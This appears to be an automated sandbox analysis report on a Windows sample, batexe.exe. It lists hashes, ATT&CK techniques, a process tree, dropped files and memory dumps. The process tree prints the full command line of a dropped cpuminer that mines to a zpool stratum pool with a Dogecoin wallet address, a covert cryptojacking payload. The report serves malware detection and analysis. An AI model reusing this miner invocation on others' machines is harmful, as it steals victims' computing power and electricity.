73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24-02-2024 01:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1164	b2e.exe
3068	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3340-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 1164	3340	batexe.exe	87
PID 3340 wrote to memory of 1164	3340	batexe.exe	87
PID 3340 wrote to memory of 1164	3340	batexe.exe	87
PID 1164 wrote to memory of 2752	1164	b2e.exe	88
PID 1164 wrote to memory of 2752	1164	b2e.exe	88
PID 1164 wrote to memory of 2752	1164	b2e.exe	88
PID 2752 wrote to memory of 3068	2752	cmd.exe	91
PID 2752 wrote to memory of 3068	2752	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5EF8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe

Filesize
6.8MB

MD5
b49798d339820278682e18694551ed5a

SHA1
7892b497fd23a511c73e3fecb623d308ea2500a7

SHA256
9988b4f9caf0f85e5728599f3e5dd954ca2cb1cba2b505d794c2194d67c33950

SHA512
7896cf36e9ccc2696577b639723b15b09c3932454525a24113181cccd121b1c07d709f10529efa21ac3c04823ed064568a9625ddc2c8fbd027648f6b74c1f1de

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe

Filesize
2.5MB

MD5
12f425a4cfed97dded4b32efa7f2eae9

SHA1
9c117ac20a883da6a53bccf645f0b6d1aa152d8e

SHA256
0ff860778aa7e9dab8651d8dabf09f6b660f51d81b6df57cd6a80b675452913c

SHA512
bce606e6d98843d97a39440e168d234d1a234ed5690cfe02396d39330f3716c5edae3d321eddb6de3b563f6146e175772b1771e1b5b85a85d0d6b544e50eb828

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C1A.tmp\b2e.exe

Filesize
1.9MB

MD5
c5fc3224e2f606dcdb4ef49ddff0f0bc

SHA1
b7af54e7cf534462b562948bc894ac6cafe36ebf

SHA256
e1d264a52b18e8f4bf1e73ed7aed3a0f26785e3fe9641eaa72fc6eaa4f024178

SHA512
3b7974c97b6421ea6e31ef47a6432f1d6ea9b3e5b6dd9a1ae47083242b4cc97d3434f9bf44026c09a2fed07d7e6371070830f4b23b42b008b3da0bc65b95ec53

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EF8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
c56729ea3bf95b66aee6823609d41ca1

SHA1
2098241ee0a01586f89da344afaa3cf49bc32a9f

SHA256
bdfdd246edec07bd33fcea73e0722192474a1e55be970f41899330d570656fb5

SHA512
6504021326f37219a899406bf8b72915fab040e37a31276e7e4419ce416a192f3c2018a35eeea30da9e48c7fe74fd162bf194641c913d32e2291b0384b2d482d

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
890KB

MD5
7a00f5e2e1d3c50357d48c0aa55a1ac1

SHA1
eb3d9e347bae352c07569191a1adde35761c3226

SHA256
55ffa53254dab94c5bb737403cc2e3c407fa1daa2ebc844e1a34143b5bde8dc5

SHA512
560916d2ff65959e190e5fa9741d99e8b93111642eb44a7376caba304ea0eb4f74d32f180dfc7e82ecccae45d8727b13096d5d982eb8995d867a43ff4f9fbdcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
651KB

MD5
835d0bf340d814bb31752f727f39ead1

SHA1
29ac8bd5ed77272f2a1127239b46d62dfa2f5edb

SHA256
2f4b2ce5eaa05b81617719f5f47536352b351e9ae2e54e1143d25193185676c3

SHA512
72997d740f5ab3dc0d0e8e72bc862a08254ecba110a25589ac2e78d1b0c3152e67ddd705041218cdb4dffa65b4af99495d6645625be9117408b931e17fe63324

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
542KB

MD5
f345b036ae8024d4bb57efbcb304c821

SHA1
ae5f234a6d3bec0ce5cabd13a64b9625e0f68529

SHA256
e1b2fff4d7b21afab1f7dc999a01a9aaa5bd7d57385425e8321f9f87e77d2f25

SHA512
727adcfaad39c3800242bba721cb159bf383d13287aed74e2e638e14590f76d46cc40d852f4f3fb36aaf0b209094fbb6c25c19c65d7adf5b5a5244df7b8b9c64

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
991KB

MD5
fdd4c310e34fe6b7cea7cf5ab8d109b3

SHA1
e66c5905910d0bba32f52ddbdd9cb1f7ef73c6cf

SHA256
5a8d8b44cc5cf139ecd220b77de95a44dacb4c4cadc4e1b26de736426d50b0c6

SHA512
5e6a59b4883d01aa6192f4e1bb47ab13aeeba7d34c5b1dfe11478f15c90a0f07fbf5865879f242eb4c675bf9ba307008649696a891ea563d486c4d99503734c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
591KB

MD5
75d92657d7fd2987b8fa2f60934be1d9

SHA1
07209952faa8fee6fe040e9524e06e020d8db021

SHA256
5f0e919892346646fdc4296deb076e679bedae0645ce7b5a50e121d3420dbb51

SHA512
f764e623b7ed2a557c67e9fee81ba7192fd739ca6197ea71ccba974b1bf262691ef5dc3db727f8339bfb0ef691af27b3178110beede5ab2ef054e30f9c6ea818

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
652KB

MD5
f24ecd6c3671d4d6a44e56cc0f00c5d9

SHA1
b534380eb58d30253cb21908825fdb2ead546dd0

SHA256
e3f3a557595168cfa1f4c102541428938eb90e3eee6785a9a1ef4da1b2737179

SHA512
e5a506386ccbd73a0de251008646b04f2b5195ef32e6a306a7372d569e29a610bda5d0d0cd96d33a363db270b5e1cb44b7af68f70488cbf089a159ebc1e59673

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
701da267ba09a07791146a98b0cf11bb

SHA1
c9ca78fa73d059c867ff6965381a87dfd3192f69

SHA256
e3571b8af11883c9b767564f38ec0c0aaa57126b9a20be95e1d9d185ce73c5fe

SHA512
e670ae7512534b960dea26cb20d9a29defd9b0072501aeda7dd5cb99300d89425d57fd8ff682f875d1f750cc01479c3ca4a726844294427454ac4fc50f8b95a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1164-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1164-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3068-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3068-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3068-45-0x000000006BAC0000-0x000000006BB58000-memory.dmp

Filesize
608KB

Download
memory/3068-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3068-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3340-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download